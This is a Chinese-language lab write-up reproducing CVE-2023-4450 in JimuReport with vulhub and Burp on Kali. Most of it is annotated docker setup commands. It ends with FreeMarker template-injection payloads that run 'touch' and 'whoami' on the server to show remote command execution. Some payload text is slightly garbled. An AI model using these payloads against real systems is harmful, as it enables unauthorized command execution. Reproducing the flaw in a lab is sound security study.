CVE-2023-4450漏洞复现
配置环境需要kali虚拟机需要vulhub镜像文件夹需要bp在kali中的vulhub文件夹搜索CVE-2023-4450在kali中找到的CVE-2023-4450文件夹打开终端输入以下命令javachains的打开流程 ┌──(kali㉿kali)-[~/桌面] └─$ docker logs $(docker ps | grep javachains/javachains | awk {print $1}) | grep -E password //功能先列出当前正在运行的容器筛选出镜像名包含 javachains/javachains 的容器行用 awk 提取出该容器的 ID然后查看这个容器的日志最后用正则表达式在日志中搜索包含 password 的行并显示出来。 ┌──(kali㉿kali)-[~/桌面] └─$ sudo docker ps //功能以 root 权限列出当前正在运行中的 Docker 容器列表显示容器 ID、镜像、状态、端口等基本信息。 ┌──(kali㉿kali)-[~/桌面] └─$ sudo docker logs java-chains | grep -i password //功能查看名为 java-chains 的容器的全部日志并通过 grep -i忽略大小写筛选出包含 password 字样的日志行 ┌──(kali㉿kali)-[~/桌面] └─$ sudo docker restart e7d06139551e //功能以 root 权限强制重启容器 ID 为 e7d06139551e 的这个 Docker 容器 ┌──(kali㉿kali)-[~/桌面] └─$ sudo docker logs java-chains | grep -i password //功能重启之后再次查看 java-chains 容器的日志并忽略大小写搜索 password用于对比重启前后日志中是否出现新的密码相关信息。 拉取CVE-2023-4450 ┌──(kali㉿kali)-[~/vulhub/jimureport/CVE-2023-4450] //这里的路径必须在你的CVE-2023-4450文件夹前面的路径可以不同 └─$ sudo docker ps -a //功能以 root 权限列出所有容器包括当前正在运行的和已经停止运行的-a 代表全部all ┌──(kali㉿kali)-[~/vulhub/jimureport/CVE-2023-4450] └─$ sudo docker compose up -d //功能在当前目录下找到 docker-compose.yml 配置文件根据该文件自动拉取镜像、创建并启动所有定义的服务容器-d 参数表示在后台detach运行不占用当前终端 ┌──(kali㉿kali)-[~/vulhub/jimureport/CVE-2023-4450] └─$ sudo docker ps -a //功能再次列出所有容器含停止的用于检查刚刚 docker compose up -d 启动的容器是否成功运行以及查看它们的当前状态如 Up、Exited 等。 //文中的docker ps -a 是博主的个人习惯做一步就查一下4. 根据查到的端口访问虚拟机IP的对应端口5. 打开bp准备抓包点击进入表格先点确定再点sql解析6. 抓到包之后尝试写入sql语句{ sql: $assigm ex\ freemarker.template.utility. Execute\ ?new() $ {ex (\ touch /tmp/success\ ) } , type : 0 }页面返回200页面返回解析失败{ sql: select result: #assign ex\freemarker.template.utility.Execute\?new() ${ex (\whoami\) }, type : 0 }发现确实存在任意命令执行漏洞